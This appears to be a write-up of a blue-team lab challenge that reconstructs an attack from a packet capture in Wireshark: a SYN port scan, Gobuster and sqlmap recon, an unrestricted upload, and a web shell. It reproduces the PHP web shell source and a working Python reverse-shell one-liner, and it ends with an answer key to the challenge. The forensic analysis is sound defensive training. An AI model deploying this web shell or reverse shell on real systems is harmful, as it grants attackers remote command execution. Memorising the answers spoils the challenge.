A SIEM alert for local-to-local port scanning unravels into a full attack chain: reconnaissance, an unrestricted file upload, a dropped web shell, and a reverse shell back to the attacker. Below is the packet-level trail I followed to reconstruct it in Wireshark.
Scenario: The SOC received an alert for "Local to Local Port Scanning" — an internal private IP began scanning another internal system. The task: analyze the provided capture (BTLOPortScan.pcap) and reconstruct what the attacker actually did.
Statistics > Conversations > TCP, sorted by Port BSorting the TCP conversations table by destination port turns a wall of packets into an obvious visual pattern: one host talking to a single destination across a long, sequential run of ports, each exchange just 2 packets and ~118 bytes — the signature of a scan, not real application traffic.
Scrolling the same sorted view, the sequential entries run cleanly from port 1 through port 1024, at which point the traffic pattern changes — larger, sustained conversations begin, which is the real application traffic starting up.
ip.src == 10.251.96.4 && tcp.flags.syn == 1There are plenty of scan types to consider here — Xmas, FIN, TCP connect, SYN — so this one comes down to reading the flags. Filtering on the scanning host's traffic shows every probe is a lone SYN packet. There's no completed three-way handshake: no ACK following the target's SYN, ACK, and no data ever sent. Each port gets exactly one SYN and nothing more from the source.
ip.dst == 10.251.96.5 && http.user_agentBeyond the port scan, the attacker ran two application-layer recon tools against the web service that was found. Filtering for HTTP requests carrying a User-Agent header shows a long run of requests for common web paths (/_swf, /_temp, /_vti_bin/...) — classic directory brute-forcing. Inspecting one of the packets confirms the tool directly.
Scrolling past the brute-force traffic, a separate set of POST requests appears carrying SQL-injection-style payloads in the body. Their User-Agent gives up the second tool.
http.request.method == "GET"This question wants the legitimate application file that was abused — not the shell itself. Filtering on GET requests and moving past the scanner noise, the attacker's actual browser session shows a request for /editprofile.php immediately before the malicious upload.
Following the same TCP stream, the subsequent upload POST carries a Referer header pointing right back to editprofile.php, confirming the upload happened through that page's file upload feature.
Follow > HTTP Stream on the /upload.php POSTFollowing the TCP stream of the /upload.php POST reveals the full multipart form body, including the Content-Disposition header naming the uploaded file:
Content-Disposition: form-data; name="fileToUpload"; filename="dbfunctions.php"
The server response even spells it out: "The file dbfunctions.php has been uploaded."
Still inside the same followed stream, the raw PHP source of the uploaded shell is visible in the request body:
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
No sanitization, no allow-list — a textbook unrestricted-upload-to-RCE chain.
http.request.method == "GET", requests to /uploads/dbfunctions.phpOnce the shell is live, the attacker calls it immediately to confirm code execution:
GET /uploads/dbfunctions.php?cmd=id HTTP/1.1
A later request to the shell carries a much longer, URL-encoded cmd payload. Decoded, it's a Python reverse shell one-liner:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.251.96.4",4422));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The compromised server opens a socket outbound back to the attacker's listener, then rebinds stdin/stdout/stderr to that socket before spawning an interactive shell. Because the connection is initiated from the victim to the attacker — the opposite of a bind shell — this is a reverse shell.
Visible directly in the same decoded payload above — the socket connects to ("10.251.96.4", 4422).
| Stage | Activity | Detail |
|---|---|---|
| 1. Discovery | TCP SYN scan | 10.251.96.4 → 10.251.96.5, ports 1–1024 |
| 2. Recon | Directory brute-force | Gobuster 3.0.1 |
| 3. Recon | SQL injection testing | sqlmap 1.4.7 |
| 4. Initial access | Malicious file upload | Via editprofile.php's upload feature |
| 5. Persistence | Web shell dropped | dbfunctions.php, executes via cmd parameter |
| 6. Execution | Command validation | id, then whoami |
| 7. Escalation | Reverse shell | Python one-liner → 10.251.96.4:4422, spawns /bin/sh |
| # | Question | Answer |
|---|---|---|
| 1 | IP conducting the port scan | 10.251.96.4 |
| 2 | Port range scanned | 1–1024 |
| 3 | Type of port scan | TCP SYN scan |
| 4 | Two additional recon tools | Gobuster 3.0.1, sqlmap 1.4.7 |
| 5 | PHP file used to upload the shell | editprofile.php |
| 6 | Web shell filename | dbfunctions.php |
| 7 | Command execution parameter | cmd |
| 8 | First command executed | id |
| 9 | Type of shell connection | Reverse shell |
| 10 | Shell connection port | 4422 |
http.user_agent filtering one of the fastest ways to fingerprint recon tooling in a pcap.